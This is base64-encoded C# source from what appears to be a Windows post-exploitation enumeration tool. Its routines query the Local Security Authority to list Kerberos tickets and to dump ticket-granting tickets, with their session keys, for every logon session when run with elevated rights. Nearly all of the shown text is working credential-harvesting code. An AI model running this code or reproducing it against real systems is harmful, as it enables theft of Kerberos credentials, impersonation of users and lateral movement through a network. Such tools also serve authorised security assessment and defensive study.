ICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG4gIFVzZXJOYW1lICAgICAgICAgICAgICAgICA6IHswfSIsIHVzZXJuYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgRG9tYWluICAgICAgICAgICAgICAgICAgIDogezB9IiwgZG9tYWluKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTG9nb25JZCAgICAgICAgICAgICAgICAgIDogezB9IiwgZGF0YS5Mb2dpbklELkxvd1BhcnQpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBVc2VyU0lEICAgICAgICAgICAgICAgICAgOiB7MH0iLCBzaWQuQWNjb3VudERvbWFpblNpZCk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIEF1dGhlbnRpY2F0aW9uUGFja2FnZSAgICA6IHswfSIsIGF1dGhwYWNrYWdlKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTG9nb25UeXBlICAgICAgICAgICAgICAgIDogezB9IiwgbG9nb25UeXBlKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTG9nb25UeXBlICAgICAgICAgICAgICAgIDogezB9IiwgbG9nb25UaW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTG9nb25TZXJ2ZXIgICAgICAgICAgICAgIDogezB9IiwgbG9nb25TZXJ2ZXIpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBMb2dvblNlcnZlckROU0RvbWFpbiAgICAgOiB7MH0iLCBkbnNEb21haW5OYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgVXNlclByaW5jaXBhbE5hbWUgICAgICAgIDogezB9XHJcbiIsIHVwbik7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAodGlja2V0UG9pbnRlciAhPSBJbnRQdHIuWmVybykKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gcGFyc2UgdGhlIHJldHVybmVkIHBvaW50ZXIgaW50byBvdXIgaW5pdGlhbCBLRVJCX1FVRVJZX1RLVF9DQUNIRV9SRVNQT05TRSBzdHJ1Y3R1cmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpY2tldHMgPSAoS0VSQl9RVUVSWV9US1RfQ0FDSEVfUkVTUE9OU0UpTWFyc2hhbC5QdHJUb1N0cnVjdHVyZSgoU3lzdGVtLkludFB0cil0aWNrZXRQb2ludGVyLCB0eXBlb2YoS0VSQl9RVUVSWV9US1RfQ0FDSEVfUkVTUE9OU0UpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGludCBjb3VudDIgPSB0aWNrZXRzLkNvdW50T2ZUaWNrZXRzOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjb3VudDIgIT0gMCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIFsqXSBFbnVtZXJhdGVkIHswfSB0aWNrZXQocyk6XHJcbiIsIGNvdW50Mik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG90YWxUaWNrZXRDb3VudCArPSBjb3VudDI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gZ2V0IHRoZSBzaXplIG9mIHRoZSBzdHJ1Y3R1cmVzIHdlJ3JlIGl0ZXJhdGluZyBvdmVyCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSW50MzIgZGF0YVNpemUgPSBNYXJzaGFsLlNpemVPZih0eXBlb2YoS0VSQl9USUNLRVRfQ0FDSEVfSU5GTykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKGludCBqID0gMDsgaiA8IGNvdW50MjsgaisrKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gaXRlcmF0ZSB0aHJvdWdoIHRoZSBzdHJ1Y3R1cmVzCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEludFB0ciBjdXJyVGlja2V0UHRyID0gKEludFB0cikobG9uZykoKHRpY2tldFBvaW50ZXIuVG9JbnQ2NCgpICsgKGludCkoOCArIGogKiBkYXRhU2l6ZSkpKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHBhcnNlIHRoZSBuZXcgcHRyIHRvIHRoZSBhcHByb3ByaWF0ZSBzdHJ1Y3R1cmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGlja2V0ID0gKEtFUkJfVElDS0VUX0NBQ0hFX0lORk8pTWFyc2hhbC5QdHJUb1N0cnVjdHVyZShjdXJyVGlja2V0UHRyLCB0eXBlb2YoS0VSQl9USUNLRVRfQ0FDSEVfSU5GTykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gZXh0cmFjdCBvdXIgZmllbGRzCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBzZXJ2ZXJOYW1lID0gTWFyc2hhbC5QdHJUb1N0cmluZ1VuaSh0aWNrZXQuU2VydmVyTmFtZS5CdWZmZXIsIHRpY2tldC5TZXJ2ZXJOYW1lLkxlbmd0aCAvIDIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgcmVhbG1OYW1lID0gTWFyc2hhbC5QdHJUb1N0cmluZ1VuaSh0aWNrZXQuUmVhbG1OYW1lLkJ1ZmZlciwgdGlja2V0LlJlYWxtTmFtZS5MZW5ndGggLyAyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgc3RhcnRUaW1lID0gRGF0ZVRpbWUuRnJvbUZpbGVUaW1lKHRpY2tldC5TdGFydFRpbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBlbmRUaW1lID0gRGF0ZVRpbWUuRnJvbUZpbGVUaW1lKHRpY2tldC5FbmRUaW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgcmVuZXdUaW1lID0gRGF0ZVRpbWUuRnJvbUZpbGVUaW1lKHRpY2tldC5SZW5ld1RpbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgZW5jcnlwdGlvblR5cGUgPSAoKEtFUkJfRU5DUllQVElPTl9UWVBFKXRpY2tldC5FbmNyeXB0aW9uVHlwZSkuVG9TdHJpbmcoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHRpY2tldEZsYWdzID0gKChLRVJCX1RJQ0tFVF9GTEFHUyl0aWNrZXQuVGlja2V0RmxhZ3MpLlRvU3RyaW5nKCk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIFNlcnZlck5hbWUgICAgICAgICA6ICB7MH0iLCBzZXJ2ZXJOYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBSZWFsbU5hbWUgICAgICAgICAgOiAgezB9IiwgcmVhbG1OYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBTdGFydFRpbWUgICAgICAgICAgOiAgezB9Iiwgc3RhcnRUaW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBFbmRUaW1lICAgICAgICAgICAgOiAgezB9IiwgZW5kVGltZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgUmVuZXdUaW1lICAgICAgICAgIDogIHswfSIsIHJlbmV3VGltZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgRW5jcnlwdGlvblR5cGUgICAgIDogIHswfSIsIGVuY3J5cHRpb25UeXBlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBUaWNrZXRGbGFncyAgICAgICAgOiAgezB9XHJcbiIsIHRpY2tldEZsYWdzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgLy8gbW92ZSB0aGUgcG9pbnRlciBmb3J3YXJkCiAgICAgICAgICAgICAgICAgICAgbHVpZFB0ciA9IChJbnRQdHIpKChsb25nKWx1aWRQdHIuVG9JbnQ2NCgpICsgTWFyc2hhbC5TaXplT2YodHlwZW9mKExVSUQpKSk7CiAgICAgICAgICAgICAgICAgICAgTHNhRnJlZVJldHVybkJ1ZmZlcihzZXNzaW9uRGF0YSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBMc2FGcmVlUmV0dXJuQnVmZmVyKGx1aWRQdHIpOwoKICAgICAgICAgICAgICAgIC8vIGRpc2Nvbm5lY3QgZnJvbSBMU0EKICAgICAgICAgICAgICAgIExzYURlcmVnaXN0ZXJMb2dvblByb2Nlc3MoaExzYSk7CgogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuICBbKl0gRW51bWVyYXRlZCB7MH0gdG90YWwgdGlja2V0c1xyXG4iLCB0b3RhbFRpY2tldENvdW50KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uOiB7MH0iLCBleCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3RLZXJiZXJvc1RpY2tldHNDdXJyZW50VXNlcigpCiAgICAgICAgewogICAgICAgICAgICAvLyBhZGFwdGVkIHBhcnRpYWxseSBmcm9tIFZpbmNlbnQgTEUgVE9VWCcgd29yawogICAgICAgICAgICAvLyAgICAgIGh0dHBzOi8vZ2l0aHViLmNvbS92bGV0b3V4L01ha2VNZUVudGVycHJpc2VBZG1pbi9ibG9iL21hc3Rlci9NYWtlTWVFbnRlcnByaXNlQWRtaW4ucHMxI0wyOTM5LUwyOTUwCiAgICAgICAgICAgIC8vIGFuZCBodHRwczovL3d3dy5kcmVhbWluY29kZS5uZXQvZm9ydW1zL3RvcGljLzEzNTAzMy1pbmNyZW1lbnQtbWVtb3J5LXBvaW50ZXItaXNzdWUvCiAgICAgICAgICAgIC8vIGFsc28gSmFyZWQgQXRraW5zb24ncyB3b3JrIGF0IGh0dHBzOi8vZ2l0aHViLmNvbS9JbnZva2UtSVIvQUNFL2Jsb2IvbWFzdGVyL0FDRS1NYW5hZ2VtZW50L1BTLUFDRS9TY3JpcHRzL0FDRV9HZXQtS2VyYmVyb3NUaWNrZXRDYWNoZS5wczEKCiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBLZXJiZXJvcyBUaWNrZXRzIChDdXJyZW50IFVzZXIpID09PVxyXG4iKTsKCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzdHJpbmcgbmFtZSA9ICJrZXJiZXJvcyI7CiAgICAgICAgICAgICAgICBMU0FfU1RSSU5HX0lOIExTQVN0cmluZzsKICAgICAgICAgICAgICAgIExTQVN0cmluZy5MZW5ndGggPSAodXNob3J0KW5hbWUuTGVuZ3RoOwogICAgICAgICAgICAgICAgTFNBU3RyaW5nLk1heGltdW1MZW5ndGggPSAodXNob3J0KShuYW1lLkxlbmd0aCArIDEpOwogICAgICAgICAgICAgICAgTFNBU3RyaW5nLkJ1ZmZlciA9IG5hbWU7CgogICAgICAgICAgICAgICAgSW50UHRyIHRpY2tldFBvaW50ZXIgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgICAgIEludFB0ciB0aWNrZXRzUG9pbnRlciA9IEludFB0ci5aZXJvOwogICAgICAgICAgICAgICAgRGF0ZVRpbWUgc3lzVGltZSA9IG5ldyBEYXRlVGltZSgxNjAxLCAxLCAxLCAwLCAwLCAwLCAwKTsKICAgICAgICAgICAgICAgIGludCBhdXRoUGFjazsKICAgICAgICAgICAgICAgIGludCByZXR1cm5CdWZmZXJMZW5ndGggPSAwOwogICAgICAgICAgICAgICAgaW50IHByb3RvY2FsU3RhdHVzID0gMDsKICAgICAgICAgICAgICAgIEludFB0ciBsc2FIYW5kbGU7CiAgICAgICAgICAgICAgICBpbnQgcmV0Q29kZTsKCiAgICAgICAgICAgICAgICAvLyBJZiB3ZSB3YW50IHRvIGxvb2sgYXQgdGlja2V0cyBmcm9tIGEgc2Vzc2lvbiBvdGhlciB0aGFuIG91ciBvd24KICAgICAgICAgICAgICAgIC8vIHRoZW4gd2UgbmVlZCB0byB1c2U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KICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSByZW5ld1RpbWUgPSBEYXRlVGltZS5Gcm9tRmlsZVRpbWUodGlja2V0LlJlbmV3VGltZSk7CiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGVuY3J5cHRpb25UeXBlID0gKChLRVJCX0VOQ1JZUFRJT05fVFlQRSl0aWNrZXQuRW5jcnlwdGlvblR5cGUpLlRvU3RyaW5nKCk7CiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHRpY2tldEZsYWdzID0gKChLRVJCX1RJQ0tFVF9GTEFHUyl0aWNrZXQuVGlja2V0RmxhZ3MpLlRvU3RyaW5nKCk7CgogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFNlcnZlck5hbWUgICAgICAgICA6ICB7MH0iLCBzZXJ2ZXJOYW1lKTsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBSZWFsbU5hbWUgICAgICAgICAgOiAgezB9IiwgcmVhbG1OYW1lKTsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBTdGFydFRpbWUgICAgICAgICAgOiAgezB9Iiwgc3RhcnRUaW1lKTsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBFbmRUaW1lICAgICAgICAgICAgOiAgezB9IiwgZW5kVGltZSk7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgUmVuZXdUaW1lICAgICAgICAgIDogIHswfSIsIHJlbmV3VGltZSk7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgRW5jcnlwdGlvblR5cGUgICAgIDogIHswfSIsIGVuY3J5cHRpb25UeXBlKTsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBUaWNrZXRGbGFncyAgICAgICAgOiAgezB9XHJcbiIsIHRpY2tldEZsYWdzKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBkaXNjb25uZWN0IGZyb20gTFNBCiAgICAgICAgICAgICAgICBMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzKGxzYUhhbmRsZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgW1hdIEV4Y2VwdGlvbjogezB9IiwgZXguTWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0S2VyYmVyb3NUR1REYXRhKCkKICAgICAgICB7CiAgICAgICAgICAgIGlmIChJc0hpZ2hJbnRlZ3JpdHkoKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgTGlzdEtlcmJlcm9zVEdURGF0YUFsbFVzZXJzKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBMaXN0S2VyYmVyb3NUR1REYXRhQ3VycmVudFVzZXIoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdEtlcmJlcm9zVEdURGF0YUFsbFVzZXJzKCkKICAgICAgICB7CiAgICAgICAgICAgIC8vIGFkYXB0ZWQgcGFydGlhbGx5IGZyb20gVmluY2VudCBMRSBUT1VYJyB3b3JrCiAgICAgICAgICAgIC8vICAgICAgaHR0cHM6Ly9naXRodWIuY29tL3ZsZXRvdXgvTWFrZU1lRW50ZXJwcmlzZUFkbWluL2Jsb2IvbWFzdGVyL01ha2VNZUVudGVycHJpc2VBZG1pbi5wczEjTDI5MzktTDI5NTAKICAgICAgICAgICAgLy8gYW5kIGh0dHBzOi8vd3d3LmRyZWFtaW5jb2RlLm5ldC9mb3J1bXMvdG9waWMvMTM1MDMzLWluY3JlbWVud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ZlcnQgdG8gb3VyIG9yaWdpbmFsIHRva2VuCiAgICAgICAgICAgICAgICBSZXZlcnRUb1NlbGYoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIC8vIGZpcnN0IHJldHVybiBhbGwgdGhlIGxvZ29uIHNlc3Npb25zCgogICAgICAgICAgICAgICAgRGF0ZVRpbWUgc3lzdGltZSA9IG5ldyBEYXRlVGltZSgxNjAxLCAxLCAxLCAwLCAwLCAwLCAwKTsgLy93aW4zMiBzeXN0ZW1kYXRlCiAgICAgICAgICAgICAgICBVSW50NjQgY291bnQ7CiAgICAgICAgICAgICAgICBJbnRQdHIgbHVpZFB0ciA9IEludFB0ci5aZXJvOwogICAgICAgICAgICAgICAgSW50UHRyIGl0ZXIgPSBsdWlkUHRyOwoKICAgICAgICAgICAgICAgIHVpbnQgcmV0ID0gTHNhRW51bWVyYXRlTG9nb25TZXNzaW9ucyhvdXQgY291bnQsIG91dCBsdWlkUHRyKTsgIC8vIGdldCBhbiBhcnJheSBvZiBwb2ludGVycyB0byBMVUlEcwoKICAgICAgICAgICAgICAgIGZvciAodWxvbmcgaSA9IDA7IGkgPCBjb3VudDsgaSsrKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIEludFB0ciBzZXNzaW9uRGF0YTsKICAgICAgICAgICAgICAgICAgICByZXQgPSBMc2FHZXRMb2dvblNlc3Npb25EYXRhKGx1aWRQdHIsIG91dCBzZXNzaW9uRGF0YSk7CiAgICAgICAgICAgICAgICAgICAgU0VDVVJJVFlfTE9HT05fU0VTU0lPTl9EQVRBIGRhdGEgPSAoU0VDVVJJVFlfTE9HT05fU0VTU0lPTl9EQVRBKU1hcnNoYWwuUHRyVG9TdHJ1Y3R1cmUoc2Vzc2lvbkRhdGEsIHR5cGVvZihTRUNVUklUWV9MT0dPTl9TRVNTSU9OX0RBVEEpKTsKCiAgICAgICAgICAgICAgICAgICAgLy8gaWYg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VmZmVyKS5UcmltKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBkbnNEb21haW5OYW1lID0gTWFyc2hhbC5QdHJUb1N0cmluZ1VuaShkYXRhLkRuc0RvbWFpbk5hbWUuQnVmZmVyKS5UcmltKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1cG4gPSBNYXJzaGFsLlB0clRvU3RyaW5nVW5pKGRhdGEuVXBuLkJ1ZmZlcikuVHJpbSgpOwoKICAgICAgICAgICAgICAgICAgICAgICAgLy8gbm93IHdlIHdhbnQgdG8gZ2V0IHRoZSB0aWNrZXRzIGZvciB0aGlzIGxvZ29uIElECiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBuYW1lID0gImtlcmJlcm9zIjsKICAgICAgICAgICAgICAgICAgICAgICAgTFNBX1NUUklOR19JTiBMU0FTdHJpbmc7CiAgICAgICAgICAgICAgICAgICAgICAgIExTQVN0cmluZy5MZW5ndGggPSAodXNob3J0KW5hbWUuTGVuZ3RoOwogICAgICAgICAgICAgICAgICAgICAgICBMU0FTdHJpbmcuTWF4aW11bUxlbmd0aCA9ICh1c2hvcnQpKG5hbWUuTGVuZ3RoICsgMSk7CiAgICAgICAgICAgICAgICAgICAgICAgIExTQVN0cmluZy5CdWZmZXIgPSBuYW1lOwoKICAgICAgICAgICAgICAgICAgICAgICAgSW50UHRyIHJlc3BvbnNlUG9pbnRlciA9IEludFB0ci5aZXJvOwogICAgICAgICAgICAgICAgICAgICAgICBpbnQgYXV0aFBhY2s7CiAgICAgICAgICAgICAgICAgICAgICAgIGludCByZXR1cm5CdWZmZXJMZW5ndGggPSAwOwogICAgICAgICAgICAgICAgICAgICAgICBpbnQgcHJvdG9jYWxTdGF0dXMgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICBpbnQgcmV0Q29kZTsKCiAgICAgICAgICAgICAgICAgICAgICAgIEtFUkJfUkVUUklFVkVfVEtUX1JFUVVFU1QgdFF1ZXJ5ID0gbmV3IEtFUkJfUkVUUklFVkVfVEtUX1JFUVVFU1QoKTsKICAgICAgICAgICAgICAgICAgICAgICAgS0VSQl9SRVRSSUVWRV9US1RfUkVTUE9OU0UgcmVzcG9uc2UgPSBuZXcgS0VSQl9SRVRSSUVWRV9US1RfUkVTUE9OU0UoKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIC8vIG9idGFpbnMgdGhlIHVuaXF1ZSBpZGVudGlmaWVyIGZvciB0aGUga2VyYmVyb3MgYXV0aGVudGljYXRpb24gcGFja2FnZS4KICAgICAgICAgICAgICAgICAgICAgICAgcmV0Q29kZSA9IExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZShoTHNhLCByZWYgTFNBU3RyaW5nLCBvdXQgYXV0aFBhY2spOwoKICAgICAgICAgICAgICAgICAgICAgICAgLy8gaW5wdXQgb2JqZWN0IGZvciBxdWVyeWluZyB0aGUgVEdUIGZvciBhIHNwZWNpZmljIGxvZ29uIElEIChodHRwczovL2RvY3MubWljcm9zb2Z0LmNvbS9lbi11cy93aW5kb3dzL2Rlc2t0b3AvYXBpL250c2VjYXBpL25zLW50c2VjYXBpLV9rZXJiX3JldHJpZXZlX3RrdF9yZXF1ZXN0KQogICAgICAgICAgICAgICAgICAgICAgICBMVUlEIHVzZXJMb2dvbklEID0gbmV3IExVSUQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgdXNlckxvZ29uSUQuTG93UGFydCA9IGRhdGEuTG9naW5JRC5Mb3dQYXJ0OwogICAgICAgICAgICAgICAgICAgICAgICB1c2VyTG9nb25JRC5IaWdoUGFydCA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIHRRdWVyeS5Mb2dvbklkID0gdXNlckxvZ29uSUQ7CiAgICAgICAgICAgICAgICAgICAgICAgIHRRdWVyeS5NZXNzYWdlVHlwZSA9IEtFUkJfUFJPVE9DT0xfTUVTU0FHRV9UWVBFLktlcmJSZXRyaWV2ZVRpY2tldE1lc3NhZ2U7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vIGluZGljYXRlIHdlIHdhbnQga2VyYiBjcmVkcyB5bycKICAgICAgICAgICAgICAgICAgICAgICAgdFF1ZXJ5LkNhY2hlT3B0aW9ucyA9IEtFUkJfQ0FDSEVfT1BUSU9OUy5LRVJCX1JFVFJJRVZFX1RJQ0tFVF9BU19LRVJCX0NSRUQ7CgogICAgICAgICAgICAgICAgICAgICAgICAvLyBxdWVyeSBMU0EsIHNwZWNpZnlpbmcgd2Ugd2FudCB0aGUgdGhlIFRHVCBkYXRhCiAgICAgICAgICAgICAgICAgICAgICAgIHJldENvZGUgPSBMc2FDYWxsQXV0aGVudGljYXRpb25QYWNrYWdlX0tFUkJfUkVUUklFVkVfVEtUKGhMc2EsIGF1dGhQYWNrLCByZWYgdFF1ZXJ5LCBNYXJzaGFsLlNpemVPZih0UXVlcnkpLCBvdXQgcmVzcG9uc2VQb2ludGVyLCBvdXQgcmV0dXJuQnVmZmVyTGVuZ3RoLCBvdXQgcHJvdG9jYWxTdGF0dXMpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKChyZXRDb2RlKSA9PSAwICYmIChyZXNwb25zZVBvaW50ZXIgIT0gSW50UHRyLlplcm8pKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbiAgVXNlck5hbWUgICAgICAgICAgICAgICAgIDogezB9IiwgdXNlcm5hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgRG9tYWluICAgICAgICAgICAgICAgICAgIDogezB9IiwgZG9tYWluKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIExvZ29uSWQgICAgICAgICAgICAgICAgICA6IHswfSIsIGRhdGEuTG9naW5JRC5Mb3dQYXJ0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFVzZXJTSUQgICAgICAgICAgICAgICAgICA6IHswfSIsIHNpZC5BY2NvdW50RG9tYWluU2lkKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIEF1dGhlbnRpY2F0aW9uUGFja2FnZSAgICA6IHswfSIsIGF1dGhwYWNrYWdlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIExvZ29uVHlwZSAgICAgICAgICAgICAgICA6IHswfSIsIGxvZ29uVHlwZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBMb2dvblR5cGUgICAgICAgICAgICAgICAgOiB7MH0iLCBsb2dvblRpbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTG9nb25TZXJ2ZXIgICAgICAgICAgICAgIDogezB9IiwgbG9nb25TZXJ2ZXIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTG9nb25TZXJ2ZXJETlNEb21haW4gICAgIDogezB9IiwgZG5zRG9tYWluTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBVc2VyUHJpbmNpcGFsTmFtZSAgICAgICAgOiB7MH0iLCB1cG4pOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHBhcnNlIHRoZSByZXR1cm5lZCBwb2ludGVyIGludG8gb3VyIGluaXRpYWwgS0VSQl9SRVRSSUVWRV9US1RfUkVTUE9OU0Ugc3RydWN0dXJlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNwb25zZSA9IChLRVJCX1JFVFJJRVZFX1RLVF9SRVNQT05TRSlNYXJzaGFsLlB0clRvU3RydWN0dXJlKChTeXN0ZW0uSW50UHRyKXJlc3BvbnNlUG9pbnRlciwgdHlwZW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AgICAgICAgICAgICAgICAgICAvLyBleHRyYWN0IHRoZSBzZXNzaW9uIGtleQogICAgICAgICAgICAgICAgICAgICAgICAgICAgS0VSQl9FTkNSWVBUSU9OX1RZUEUgc2Vzc2lvbktleVR5cGUgPSAoS0VSQl9FTkNSWVBUSU9OX1RZUEUpcmVzcG9uc2UuVGlja2V0LlNlc3Npb25LZXkuS2V5VHlwZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEludDMyIHNlc3Npb25LZXlMZW5ndGggPSByZXNwb25zZS5UaWNrZXQuU2Vzc2lvbktleS5MZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBieXRlW10gc2Vzc2lvbktleSA9IG5ldyBieXRlW3Nlc3Npb25LZXlMZW5ndGhdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHJlc3BvbnNlLlRpY2tldC5TZXNzaW9uS2V5LlZhbHVlLCBzZXNzaW9uS2V5LCAwLCBzZXNzaW9uS2V5TGVuZ3RoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBiYXNlNjRTZXNzaW9uS2V5ID0gQ29udmVydC5Ub0Jhc2U2NFN0cmluZyhzZXNzaW9uS2V5KTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBrZXlFeHBpcmF0aW9uVGltZSA9IERhdGVUaW1lLkZyb21GaWxlVGltZShyZXNwb25zZS5UaWNrZXQuS2V5RXhwaXJhdGlvblRpbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgc3RhcnRUaW1lID0gRGF0ZVRpbWUuRnJvbUZpbGVUaW1lKHJlc3BvbnNlLlRpY2tldC5T